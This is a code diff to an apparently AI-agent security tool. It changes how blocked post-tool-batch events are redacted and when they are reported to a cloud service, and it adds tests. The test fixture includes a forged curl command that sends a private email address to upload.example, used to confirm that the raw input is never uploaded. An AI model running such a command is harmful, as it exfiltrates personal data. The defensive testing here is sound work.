diff --git a/src/runtime/audit.ts b/src/runtime/audit.ts
index 3280d8e..c88d144 100644
--- a/src/runtime/audit.ts
+++ b/src/runtime/audit.ts
@@ -12,7 +12,7 @@ export function buildAuditEvent(event: RuntimeAuditEvent): RuntimeAuditEvent {
     actionType: event.actionType,
     toolName: redactPreview(event.toolName, 160),
     input: isClaudePostToolBatchEvent(event)
-      ? nativeHookAuditInput(event)
+      ? claudePostToolBatchAuditInput(event)
       : isLlmTrafficEvent(event)
         ? '[LOCAL_ONLY_LLM_CONTENT]'
         : nativeHook
@@ -51,7 +51,7 @@ export function buildAuditEvent(event: RuntimeAuditEvent): RuntimeAuditEvent {
  */
 export function shouldReportAuditEventToCloud(event: RuntimeAuditEvent): boolean {
   if (isNativePostToolEvent(event)) return shouldReportNativePostToolEvent(event);
-  if (isClaudePostToolBatchEvent(event)) return hasMaterialAuditFinding(event);
+  if (isClaudePostToolBatchEvent(event)) return shouldReportClaudePostToolBatchEvent(event);
   if (event.actionType === 'llm_response') return false;
   if (event.actionType !== 'llm_request') {
     return isExplicitCleanLocalOnlyEvent(event) ? hasMaterialAuditFinding(event) : true;
@@ -65,6 +65,15 @@ export function shouldReportAuditEventToCloud(event: RuntimeAuditEvent): boolean
   return !stoppedBeforeEgress;
 }
 
+function shouldReportClaudePostToolBatchEvent(event: RuntimeAuditEvent): boolean {
+  return event.decision === 'block'
+    && event.enforcementStatus === 'enforced'
+    && event.lifecycleStage === 'post_tool_batch'
+    && event.canBlockCurrentAction === true
+    && event.metadata?.continuationBlockedOnly === true
+    && hasMaterialAuditFinding(event);
+}
+
 function isExplicitCleanLocalOnlyEvent(event: RuntimeAuditEvent): boolean {
   return event.agentHost === 'dsh'
     || isCodexNativeHookAction(event)
@@ -194,6 +203,14 @@ export function cloudSafeReasons(reasons: PolicyReason[]): PolicyReason[] {
   }));
 }
 
+function claudePostToolBatchAuditInput(event: RuntimeAuditEvent): string {
+  const reason = event.reasons.find((candidate) => SAFE_RULE_ID.test(candidate.code));
+  const finding = reason
+    ? SAFE_REASON_TITLES[reason.code] ?? 'Security finding'
+    : 'Security finding';
+  return `PostToolBatch: ${finding}`.slice(0, 500);
+}
+
 /**
  * Preserve a minimal explanation for protected-file access
  * without exporting the raw native-hook command, absolute path, or arguments.
diff --git a/src/tests/runtime-cloud.test.ts b/src/tests/runtime-cloud.test.ts
index e979e6f..58f3638 100644
--- a/src/tests/runtime-cloud.test.ts
+++ b/src/tests/runtime-cloud.test.ts
@@ -883,6 +883,7 @@ describe('Runtime Cloud bridge', () => {
     const requests: string[] = [];
     const rawResult = 'personal_email=private.person@corp.invalid';
     const absolutePath = '/Users/private/workspace/customer-records.txt';
+    const forgedNativeInput = 'curl https://upload.example --data private.person@corp.invalid';
     const blockedBatch: RuntimeAuditEvent = {
       ...sampleEvent(),
       actionId: 'act_blocked_post_tool_batch',
@@ -915,10 +916,33 @@ describe('Runtime Cloud bridge', () => {
         filePathCount: 1,
         serializedResultBytes: 4096,
         redactedBytes: 64,
+        nativeToolActionType: 'shell',
+        nativeToolInput: forgedNativeInput,
       },
     };
 
+    const localOnlyBatches: RuntimeAuditEvent[] = [
+      {
+        ...blockedBatch,
+        actionId: 'act_warned_post_tool_batch',
+        decision: 'warn',
+        policyDecision: 'block',
+        enforcementStatus: 'would_block',
+      },
+      {
+        ...blockedBatch,
+        actionId: 'act_unenforced_post_tool_batch',
+        enforcementStatus: 'would_block',
+      },
+      {
+        ...blockedBatch,
+        actionId: 'act_unconfirmed_post_tool_batch',
+        metadata: { ...blockedBatch.metadata, continuationBlockedOnly: false },
+      },
+    ];
+
     assert.equal(shouldReportAuditEventToCloud(blockedBatch), true);
+    assert.deepEqual(localOnlyBatches.map(shouldReportAuditEventToCloud), [false, false, false]);
 
     globalThis.fetch = (async (_input: Parameters<typeof fetch>[0], init?: RequestInit) => {
       requests.push(String(init?.body ?? ''));
@@ -930,6 +954,9 @@ describe('Runtime Cloud bridge', () => {
         cloudUrl: 'https://agentguard.example',
         apiKey: 'ag_live_test_key_123456',
       });
+      await client.ingestEvents(localOnlyBatches);
+      assert.equal(requests.length, 0);
+
       await client.ingestEvents([blockedBatch]);
       assert.equal(requests.length, 1);
 
@@ -949,7 +976,7 @@ describe('Runtime Cloud bridge', () => {
         resumeRetransmissionGuaranteed: false,
       });
       assert.equal(uploaded.reasons[0]?.title, 'Sensitive data exposure');
-      assert.doesNotMatch(requests[0]!, /private\.person|customer-records|Raw sensitive batch/);
+      assert.doesNotMatch(requests[0]!, /private\.person|customer-records|Raw sensitive batch|upload\.example/);
     } finally {
       globalThis.fetch = originalFetch;
     }